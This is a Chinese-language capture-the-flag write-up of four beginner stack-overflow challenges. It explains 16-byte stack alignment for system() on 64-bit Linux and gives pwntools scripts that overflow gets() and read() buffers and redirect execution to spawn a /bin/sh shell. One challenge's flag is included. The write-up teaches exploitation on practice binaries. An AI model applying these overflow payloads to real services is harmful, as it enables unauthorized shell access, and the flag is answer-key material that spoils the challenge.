buuctf[PWN]
题目:rip(栈对齐)
知识点:栈对齐
- 题目地址:BUUCTF在线评测 (buuoj.cn)
- 知识点:64位ubuntu18以上系统调用system函数时需要栈对齐,因为64位下的system函数有个movaps指令,这个指令要求内存地址(ebp)必须16字节对齐,如果内存地址没有对齐会停止在该指令处。
- 但是将rbp按16字节对齐(保证rbp的值最后一位时0即可)后即可通过:
- 为什么rbp最后一位是0即可保证对齐:在64位的系统中内存地址按8字节编排,而十六进制满16进位,所以内存中的所有编排的地址最后一位都是0或8(一个格子放8字节即64bit的数据),所以要使栈按16字节对齐,那rbp的值最后一位必须是0。
题解:
- ida进入程序:发现gets这漏洞函数,然后再fun函数中发现调用了system(“/bin/sh”),直接栈溢出返回妇fun函数的地址0x401186即可。
- 计算栈溢出的地址:这个函数的地址需要在前面填入15+8个垃圾数据(为什么这么计算后面再出教程吧),然后写入fun函数地址。
- 脚本:
from pwn import *
p = remote('node5.buuoj.cn',26058)#建立连接
payload = b'a'*(15+8)+p64(0x401186)
p.sendline(payload)
p.interactive()
- 运行脚本会发现此路不通,原因就上上面将的栈对齐。:
- 在本地调试该程序会发现在调用system(“/bin/sh”)时会在movaps ++,xmm指令处停止,无法继续,这是一位xmm寄存器调用时要求栈必须按16字节对齐。movaps
- 当源操作数或目标操作数是内存操作数时,该操作数必须对齐在16字节边界上,否则会引发一般保护异常(#GP):所以要保证栈在16字节上对齐,这里就要在脚本上稍作修改,让栈的操作(pop\push)少操作一步,相当于rsp + or -8字节,跳过fun函数开头的push即可让调用system函数时完成栈在16字节上对齐,而且不将rbp压栈(跳过该指令),不会对system函数的调用造成影响(在后面调用函数时生成栈帧时会细讲)。
- 改后脚本:
from pwn import *
p = remote('node5.buuoj.cn',28455)
payload = b'a'*(15+8)+p64(0x401186+1)
p.sendline(payload)
p.interactive()
- flag=flag{4bf61dbe-129f-460e-914a-96ee9ab54ac8}
题目:[NSSCTF 2022 Spring Recruit]R3m4ke?
-
题目地址:[NSSCTF 2022 Spring Recruit]R3m4ke? | NSSCTF
-
打开附件:又是gets函数,栈溢出。
-
找到v4的栈:垃圾数据填充为32+8。
-
攻击脚本:
from pwn import *
p = remote('node4.anna.nssctf.cn',28276)
payload = b'a'*(32+8)+p64(0x40072C)
p.sendline(payload)
p.interactive()
题目:[watevrCTF 2019]Voting Machine 1
- 题目地址:[watevrCTF 2019]Voting Machine 1
- 目标函数:super_secret_function函数地址0x400807。
- main函数中gets栈溢出。
- v4栈,垃圾数据填充2+8个字节:
- 攻击脚本:
from pwn import *
p = remote('node5.anna.nssctf.cn',20703)
payload = b'a'*(2+8)+p64(0x400807)
p.sendline(payload)
p.interactive()
题目:jarvisoj_level2
- [jarvisoj_level2](BUUCTF在线评测 (buuoj.cn))
- ida打开:read函数度0x100这么长,必存在栈溢出。
- 使用该函数,手动传入bin/sh参数,来达到system(“/bin/sh”)的目的:
- 首先要跳转到该函数处:地址0x8048320,然后为其传入参数**/bin/sh地址804A024**(任然用栈传参)。
- 用栈传参的原因:观察main函数中调用system函数时:参数传递的是利用push将变量的地址入栈,再使用call指令调用system。
- 分析到这里有两种解法:
- 直接使用main函数中的call system指令,只需要在调用前阿静参数入栈即可:攻击脚本,这是不需要手动填充call调用时的返回值问题。
from pwn import *
p = remote('node5.buuoj.cn',25955)
payload = b'a'*(136+4)+p32(0x804849E)+p32(0x804A024)
p.sendline(payload)
p.interactive()
-
第二种
-
调用system函数,此时需要手动填充因没有使用call指令而产生的栈缺失问题(如果不补充,则咱进入system函数内部时,变量**/bin/sh所在的栈空间与system原来使用的变量空间会不匹配)(后面将函数栈帧**的时候一起讲把):
-
from pwn import * p = remote('node5.buuoj.cn',27535) #加上p32(0)相当于进行了依次压栈操作,但是压入的数据无所谓只需要把system返回地址的32bit填满即可 payload = b'a'*(136+4)+p32(0x8048320)+p32(0)+p32(0x804A024) #payload = b'a'*(136+4)+p32(0x8048320)+b'a'*4+p32(0x804A024) p.sendline(payload) p.interactive()
-